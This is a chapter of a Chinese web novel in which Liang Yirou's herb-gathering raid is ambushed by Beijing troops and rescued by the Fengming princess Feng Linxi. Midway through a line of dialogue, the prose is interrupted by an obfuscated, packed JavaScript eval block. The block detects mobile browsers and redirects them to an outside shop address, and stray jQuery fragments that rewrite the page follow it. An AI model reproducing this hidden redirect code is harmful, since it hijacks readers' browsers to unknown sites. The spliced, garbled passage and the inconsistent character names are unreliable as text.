福度村距大昭军营约百里之遥。为隐匿行踪，梁以柔与李一倬特意缓了一两日，方趁夜色率三十精兵悄然出发。专拣人迹罕至的荒僻小径，马蹄裹布，衔枚疾走。


    将至福度村，一行人悉数下马，徒步潜行。马匹目标太大，蹄声亦易惊动守军。


    “兄长，”梁以柔压低嗓音，于林间阴影中驻足，“稍后你带人直赴后山采凝极草。我在前面守着。若有异变，不必恋战，保草为先，即刻撤离。”


    “明白。”李一倬重重点头。


    福度村的周围有一条小溪，因而土壤湿润，村民世代以种植药草为生。后山大片坡地，正是各类草药繁茂之地。


    出发之前，顾见山已向他们细细描绘了凝极草模样：植株低矮，叶呈锐刺状。


    借着一弯清冷月色，众人很快在田垄间寻到那一片片深绿色的刺状草丛。士兵们取出备好的竹筐，依照顾见山的叮嘱，小心翼翼连根拔起，尽力保持根须完整。


    梁以柔站在山坡前一块巨石之后，凝视着下方沉睡的村落。


    万籁俱寂，村庄沉浸在黑甜梦乡，唯有天心一轮孤月，洒下惨淡清辉。无风，无声，静得令人心悸。


    越是平静，梁以柔心中不安越甚。林仲孟明言，北靖每占一村，必留百人戍守。可这福度村，竟不见半豆灯火，不闻一丝人语，仿佛一座空村。


    正自疑窦丛生——


    冷不丁一道破空声刺破夜的沉寂。


    “咻——！”


    一支羽箭擦着梁以柔的耳畔飞过，箭簇钉在身后的树干上，震落簌簌几片枯叶。


    “有埋伏！”


    瞬间，山坡下的田垄里、村口的老槐树下，骤然亮起数十点火把，猩红的火光映着北靖士兵的盔甲，明晃晃一片，竟有足足五百人之多。


    为首的将领身披玄甲，手中长刀直指山坡，声如惊雷：“煜王妃，北靖恭候多时了！”


    李一倬心头一凛，当即喝令士兵停手护着凝极草：“都住手！结阵！”


    可那些北靖兵根本不给他们喘息的余地，呐喊着冲上山坡，刀枪碰撞的脆响混着马蹄声，瞬间撕碎了青冥夜的宁静。


    梁以柔反手拔出腰间佩剑，剑锋映着月色，冷光湛湛。


    她瞥了一眼身后慌乱却强作镇定的士兵，又看向山下越涌越多的北靖兵，心头沉得厉害——这分明是一个精心布下的局，就等着他们自投罗网。


    到底是哪里出了岔子，北靖怎么会得知他们要来找凝极草的事情？


    那玄甲将领已策马逼近坡前。梁以柔注意到，他的身边还有另外一个人也骑着马，是默廷。


    更令梁以柔心念微动的是，默延手中握着一把长弓，弓弦犹自轻颤。方才那警告般擦耳而过的一箭，出自他手。


    此人着实古怪。身处战阵，却不着甲胄，仅一袭北靖常见的玄青宽袍，神情静默，不似将领，倒像个……不受宠爱的王子。


    这念头让梁以柔自己都觉得奇异。


    似是察觉她审视的目光，默延面色几不可察地一僵，默默将长弓递给身后亲兵。


    “煜王妃！”玄甲将领高声喝道，带着胜券在握的得意，“若肯弃械归降，本将可饶你与部下不死！”


    李一倬对着梁以柔身侧悄声道：“泱泱，我拖住他们，你带凝极草先走。”


    梁以柔缓缓摇头，只道：“走不掉了。”


    三十对五百，悬殊若此，突围无异痴人说梦。


    那将领闻言，又道：“不降？那本将便将你生擒了！你是煜王的王妃，擒了你还怕捏不住张承锦的命脉？哈哈哈哈哈！”


    猖狂笑声在北靖军中回荡，激起一片附和哄笑。


    笑声未落，一阵急促的马蹄声自山道尽头滚滚而来，震得地面微微发颤。


    紧接着，火把的洪流如燎原之火般漫上山坡，猩红火光里，一面绣着凤纹的杏黄旗猎猎作响。


    “北靖蛮夷，也敢在此放肆！”


    清亮又带着几分凛冽的女声破空而至，梁以柔闻声望去，只见凤临曦一身银甲，手持长枪，策马立于阵前，身后千名凤鸣国士兵盔明甲亮，杀气腾腾。


    北靖将领脸色骤变，厉声喝道：“凤鸣国？你们竟敢插手我大昭与北靖的事！”


    “我凤临国做事，何时轮得到你北靖置喙？”凤临曦长枪一挑，直指对方咽喉，“梁以柔是我朋友，她的事，就是我凤鸣国的事！”


    梁以柔看着阵前那抹银甲身影，眸中闪过一丝错愕。


    凤临曦恰好回眸，对上她的视线，唇角勾起一抹利落的笑：“梁以柔，我说过了，他日若需，刀山火海，亦偿此情。”


    话音落，凤临曦振臂高呼：“凤鸣的儿郎们，随我杀——”


    千名士兵齐声应和，声震山谷，潮水般朝着北靖兵冲杀过去。北靖兵本就因兵力骤增而心怯，此刻被这股悍勇之气一冲，顿时阵脚大乱。


    五百对一千，本就悬殊，再加上凤鸣军训练有素，北靖兵很快便节节败退。


    那玄甲将领见势不妙，心知再打下去只会全军覆没，当即咬牙喝道：“撤！快撤！”


    北靖兵顷刻间如丧家之犬，朝着山下仓皇逃窜。


    凤临曦却没有下令追击，勒住缰绳，调转马头看向梁以柔，挑眉道：“还愣着做什么？再不走，等北靖的援军来了，可就走不掉了。”


    梁以柔从瞬间的怔忡中回神，当即下令：“带上草药，全军上马，撤！”


    众人奔向藏马处。凤临曦率军殿后。


    李一倬寻隙低声问梁以柔：“泱泱，凤鸣王女怎会在此？凤鸣不是素来中立……”


    梁以柔目视前方，简短道：“先前我曾机缘巧合，助过她一次。”其中恩怨曲折，此刻非细说之时。


    凤临曦策马与梁以柔并辔，猩红披风在夜风中翻卷。


    “王女何以恰巧赶来？”梁以柔问出心中疑惑。


    “长安剧变，本殿亦有耳闻。正欲来信问询，又听说北疆战事再起。本殿欠你一个恩情，于是我将实情告诉我的母皇，特率一支偏师，前来助战。”


    她顿了顿，续道：“到了大昭军营，方知你已冒险前来取药。本殿觉此事恐有蹊跷，故亲率这一千兵马前来接应。”


    梁以柔默然片刻，夜风卷起细雪，扑在脸上冰凉。


    她终是开口，声音平静却清晰：“王女既知宫变之事，当能推想，当年围猎白虎一事，实乃张承兴为除我而设之局。他于我衣上暗动手脚，引虎独攻于我。我当日力搏白虎，仅为自保，并非……”


    “本殿知道。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864205|184950||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”凤临曦打断她，语气并无波澜，反而带着一丝了然，“事后细想，便知其中必有隐情。我凤鸣今日发兵，亦非全为私谊。”


    她侧首，看向梁以柔，目光在雪夜中显得格外清亮：“大昭若亡，北靖铁蹄下一个目标，必是我凤鸣。发兵助昭，亦是自保。况且……”


    她唇角微扬，道：“本殿相信，若你与张承锦他日执掌大昭，定不会对凤鸣兵戈相向。故而，今日凤鸣选择与大昭并肩。”


    细雪不知何时渐密，无声飘落，沾在梁以柔鸦黑的鬓发与肩头。她望着凤临曦的侧脸，胸中暖流涌动，千言万语，最终只化作一句：


    “多谢。”


    凤临曦似有些不自在，别过脸去，挥了挥手：“雪大了，速行。”


    -


    凝极草取回，顾见山即刻带人捣药救治。草叶捣汁外敷，根茎煎煮内服。


    此药果然奇效，仅仅服用两次，许多伤兵溃烂处已见收口，精神亦振。


    消息传开，低迷已久的军营士气为之一振。加之凤鸣援军抵达，更添一份底气，营中气氛明显不同往日。


    主帅帐内，周游等人面色亦稍霁，然梁以柔眉间忧色未散。


    她想了又想，还是将心中的困惑道出：“昨日，北靖的军队设伏，时机拿捏十分精准，我觉得……军营里可能有细作通敌。”


    周游闻言，面色骤然一沉：“此事确是蹊跷。可是营中每日往来人员众多，鱼龙混杂，欲查内奸，谈何容易。”


    凤临曦亦在帐中，建议道：“何不暗中排查，凡有嫌疑者，尽数擒拿，严刑拷问？宁可错杀，不可枉纵！”


    梁以柔摇头：“不可。军心初定，若此时大肆捕人，动辄刑讯，必致人人自危，将士离心。恐未揪出细作，我军已先自乱阵脚。”


    帐中一时陷入沉默。凤临曦蹙眉，却也知梁以柔所言在理。


    片刻，梁以柔抬眸，眼中闪过一丝决断：“或许有一法，可一试。”


    -


    北靖大营，王帐之中。


    步真单膝跪地，以手抚胸，头颅深垂：“末将办事不力，致使煜王妃脱逃，请王子重罚！”


    阿史那·沙罗高踞铺着完整虎皮的交椅之上，指尖缓缓摩挲着一枚硕大的虎睛石扳指，面色晦暗不明。


    良久，他才开口，声音听不出喜怒：“罢了，非你之过。凤鸣突然介入，始料未及。下去吧。”


    步真如蒙大赦，叩首谢恩，躬身退出大帐。


    一直静立一旁的默延见状，亦微微躬身：“王子若无其他吩咐，属下也先行告退。”


    阿史那·沙罗未置可否，只挥了挥手。


    默延安静地转身，走向帐门。就在他手指即将触到厚重毡帘的前一瞬——


    “默延。”


    阿史那·沙罗的声音不高，却让默廷的背影几不可察地一僵。


    身后，那带着玩味与审视的语声，不紧不慢地传来：


    “步真说，昨夜伏击，你对煜王妃射出的那一箭……射偏了。”


    帐内炭火噼啪一响，默廷脚步一顿。


    阿史那·沙罗缓缓抬起眼，目光如鹰隼，锁住默廷瞬间僵直的背影，慢条斯理地补上后一句：


    “可本王记得，你是北靖，最好的神箭手。”